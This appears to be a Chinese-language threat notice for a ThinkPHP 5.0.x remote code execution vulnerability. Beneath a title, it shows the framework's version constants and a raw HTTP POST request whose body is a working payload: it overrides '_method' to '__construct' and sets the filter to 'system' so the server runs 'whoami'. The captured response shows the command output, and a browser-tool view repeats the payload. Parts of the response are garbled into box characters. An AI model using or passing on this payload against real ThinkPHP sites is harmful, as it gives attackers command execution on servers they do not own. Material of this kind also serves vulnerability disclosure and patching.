# ThinkPHP5.0.x远程代码执行漏洞

# 安全威胁通告

```php
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

define('THINK_VERSION', '5.0.22');
define('THINK_START_TIME', microtime(true));
define('THINK_START_MEM', memory_get_usage());
define('EXT', '.');
define('DS', DIRECTORY_SEPARATOR);
defined('THINK_PATH') or define('THINK_PATH', __DIR__ . DS);
define('LIB_PATH', THINK_PATH . 'lib' . DS);
define('CORE_PATH', LIB_PATH . 'think' . DS);
defined('APP_PATH') or define('APP_PATH', dirname($_SERVER['SCRIPT_FILENAME']) . DS);
defined('ROOT_PATH') or define('ROOT_PATH', dirname(realpath(APP_PATH)) . DS);
defined('EXTEND_PATH') or define('EXTEND_PATH', ROOT_PATH . 'extend' . DS);
defined('VENDOR_PATH') or define('VENDOR_PATH', ROOT_PATH . 'vendor' . DS);
defined('ROOT_PATH') or define('ROOT_PATH', ROOT_PATH . 'public' . DS);
defined('RUNTIME_PATH') or define('RUNTIME_PATH', ROOT_PATH . 'runtime' . DS);
defined('LOG_PATH') or define('LOG_PATH', RUNTIME_PATH . 'log' . DS);
defined('CACHE_PATH') or define('CACHE_PATH', RUNTIME_PATH . 'cache' . DS);
defined('TEMP_PATH') or define('TEMP_PATH', RUNTIME_PATH . 'temp' . DS);
defined('CONF_PATH') or define('CONF_PATH', APP_PATH . '配置文件目录');
defined('CONF_EXT') or define('CONF_EXT', EXT . '配置文件扩展名');
defined('ENV_PREFIX') or define('ENV_PREFIX', 'PHP_'); // 环境变量的配置前缀
```

**Request**

Raw | Params | Headers | Hex

```
POST /public/index.php?s=captcha HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101
Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: pgv_pvi=1563816960; pgv_si=s6589759488
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
```

**Response**

Raw | Headers | Hex | HTML | Render

ms\user

□□□□□□□□□□□□□□□□□□□□

ThinkPHP V5.0.22 { □□□□□□□□□-□□PI□□□□□□□□□□□□□□q□□□□ }

Load URL
Split URL
Execute

http://localhost/public/index.php?s=captcha

Post data Referrer 0xHEX %URL BASE64 Insert

Post data

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

msi\user

# 页面错误！请稍后再试～

ThinkPHP V5.0.22 { 十年磨一剑-为API开发设计的高性能框架 }